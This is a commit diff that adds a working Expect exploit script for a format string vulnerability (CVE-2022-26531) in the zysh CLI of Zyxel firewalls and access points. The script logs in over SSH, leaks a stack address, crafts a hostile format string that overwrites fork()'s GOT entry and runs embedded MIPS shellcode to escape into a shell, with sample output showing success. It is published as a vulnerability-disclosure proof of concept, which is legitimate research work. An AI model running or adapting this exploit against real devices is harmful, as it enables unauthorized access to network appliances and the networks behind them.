Projects STRLCPY 0xdea-exploits Commits dd6dcabd
🤬
  • ■ ■ ■ ■ ■ ■
    zyxel/raptor_zysh_fhtagn.exp
    1  -Exploit due for publication on 2022-06-07
     1 +#!/usr/bin/expect -f
     2 + 
     3 +#
     4 +# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
     5 +# Copyright (c) 2022 Marco Ivaldi <[email protected]>
     6 +#
     7 +# "We live on a placid island of ignorance in the midst of black seas of
     8 +# infinity, and it was not meant that we should voyage far."
     9 +# -- H. P. Lovecraft, The Call of Cthulhu
     10 +#
     11 +# "Multiple improper input validation flaws were identified in some CLI
     12 +# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
     13 +# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
     14 +# versions 4.32 through 5.21, VPN series firmware versions 4.30 through
     15 +# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
     16 +# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
     17 +# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
     18 +# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
     19 +# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
     20 +# earlier versions, that could allow a local authenticated attacker to
     21 +# cause a buffer overflow or a system crash via a crafted payload."
     22 +# -- CVE-2022-26531
     23 +#
     24 +# The zysh binary is a restricted shell that implements the command-line
     25 +# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
     26 +# demonstrates how to leverage the format string bugs I have identified in
     27 +# the "extension" argument of some zysh commands, to execute arbitrary code
     28 +# and escape the restricted shell environment.
     29 +#
     30 +# - This exploit targets the "ping" zysh command.
     31 +# - It overwrites the .got entry of fork() with the shellcode address.
     32 +# - The shellcode address is calculated based on a leaked stack address.
     33 +# - Hardcoded offsets and values might need some tweaking, see comments.
     34 +# - Automation/weaponization for other targets is left as an exercise.
     35 +#
     36 +# For additional details on my bug hunting journey and on the
     37 +# vulnerabilities themselves, you can refer to the official advisory:
     38 +# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
     39 +#
     40 +# Usage:
     41 +# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
     42 +# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
     43 +# Copyright (c) 2022 Marco Ivaldi <[email protected]>
     44 +#
     45 +# Leaked stack address: 0x7fe97170
     46 +# Shellcode address: 0x7fe9de40
     47 +# Base string length: 46
     48 +# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
     49 +#
     50 +# *** enjoy your shell! ***
     51 +#
     52 +# sh-5.1$ uname -snrmp
     53 +# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
     54 +# sh-5.1$ id
     55 +# uid=10007(admin) gid=10000(operator) groups=10000(operator)
     56 +#
     57 +# Tested on:
     58 +# Zyxel USG20-VPN with Firmware 5.10
     59 +# [other appliances/versions are also likely vulnerable]
     60 +#
     61 + 
     62 +# change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
     63 +encoding system iso8859-1
     64 + 
     65 +# hostile format string to leak stack address via direct parameter access
     66 +set offset1 77
     67 +set leak [format "AAAA.0x%%%d\$x" $offset1]
     68 + 
     69 +# offsets to reach addresses in retloc sled via direct parameter access
     70 +set offset2 1801
     71 +set offset3 [expr $offset2 + 1]
     72 + 
     73 +# difference between leaked stack address and shellcode address
     74 +set diff 27856
     75 + 
     76 +# retloc sled
     77 +# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
     78 +# 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0
     79 +# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
     80 +set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]
     81 + 
     82 +# nop sled
     83 +# nop-equivalent instruction: xor $t0, $t0, $t0
     84 +set nops [string repeat "\x01\x8c\x60\x26" 64]
     85 + 
     86 +# shellcode
     87 +# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
     88 +set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"
     89 + 
     90 +# padding to align payload in memory (might need adjusting)
     91 +set padding "AAA"
     92 + 
     93 +# print header
     94 +send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
     95 +send_user "Copyright (c) 2022 Marco Ivaldi <[email protected]>\n\n"
     96 + 
     97 +# check command line
     98 +if { [llength $argv] != 3} {
     99 + send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
     100 + exit 1
     101 +}
     102 + 
     103 +# get SSH connection parameters
     104 +set port "22"
     105 +set host [lindex $argv 0]
     106 +set user [lindex $argv 1]
     107 +set pass [lindex $argv 2]
     108 + 
     109 +# inject payload via the TERM environment variable
     110 +set env(TERM) $retloc$nops$sc$padding
     111 + 
     112 +# connect to target via SSH
     113 +log_user 0
     114 +spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
     115 +expect {
     116 + -nocase "password*" {
     117 + send "$pass\r"
     118 + }
     119 + default {
     120 + send_error "error: could not connect to ssh\n"
     121 + exit 1
     122 + }
     123 +}
     124 + 
     125 +# leak stack address
     126 +expect {
     127 + "Router? $" {
     128 + send "ping 127.0.0.1 extension $leak\r"
     129 + }
     130 + default {
     131 + send_error "error: could not access zysh prompt\n"
     132 + exit 1
     133 + }
     134 +}
     135 +expect {
     136 + -re "ping: unknown host AAAA\.(0x.*)\r\n" {
     137 + }
     138 + default {
     139 + send_error "error: could not leak stack address\n"
     140 + exit 1
     141 + }
     142 +}
     143 +set leaked $expect_out(1,string)
     144 +send_user "Leaked stack address:\t$leaked\n"
     145 + 
     146 +# calculate shellcode address
     147 +set retval [expr $leaked + $diff]
     148 +set retval [format 0x%x $retval]
     149 +send_user "Shellcode address:\t$retval\n"
     150 + 
     151 +# extract each byte of shellcode address
     152 +set b1 [expr ($retval & 0xff000000) >> 24]
     153 +set b2 [expr ($retval & 0x00ff0000) >> 16]
     154 +set b3 [expr ($retval & 0x0000ff00) >> 8]
     155 +set b4 [expr ($retval & 0x000000ff)]
     156 +set b1 [format 0x%x $b1]
     157 +set b2 [format 0x%x $b2]
     158 +set b3 [format 0x%x $b3]
     159 +set b4 [format 0x%x $b4]
     160 + 
     161 +# calculate numeric arguments for the hostile format string
     162 +set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "]
     163 +send_user "Base string length:\t$base\n"
     164 +set n1 [expr ($b4 - $base) % 0x100]
     165 +set n2 [expr ($b2 - $b4) % 0x100]
     166 +set n3 [expr ($b1 - $b2) % 0x100]
     167 +set n4 [expr ($b3 - $b1) % 0x100]
     168 + 
     169 +# check for dangerous numeric arguments below 10
     170 +if {$n1 < 10} { incr n1 0x100 }
     171 +if {$n2 < 10} { incr n2 0x100 }
     172 +if {$n3 < 10} { incr n3 0x100 }
     173 +if {$n4 < 10} { incr n4 0x100 }
     174 + 
     175 +# craft the hostile format string
     176 +set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
     177 +send_user "Hostile format string:\t$exploit\n\n"
     178 + 
     179 +# uncomment to debug
     180 +# interact +
     181 + 
     182 +# exploit target
     183 +set prompt "(#|\\\$) $"
     184 +expect {
     185 + "Router? $" {
     186 + send "ping 127.0.0.1 extension $exploit\r"
     187 + }
     188 + default {
     189 + send_error "error: could not access zysh prompt\n"
     190 + exit 1
     191 + }
     192 +}
     193 +expect {
     194 + "Router? $" {
     195 + send_error "error: could not exploit target\n"
     196 + exit 1
     197 + }
     198 + -re $prompt {
     199 + send_user "*** enjoy your shell! ***\n"
     200 + send "\r"
     201 + interact
     202 + }
     203 + default {
     204 + send_error "error: could not exploit target\n"
     205 + exit 1
     206 + }
     207 +}
    2 208   
Please wait...
Page is in error, reload to recover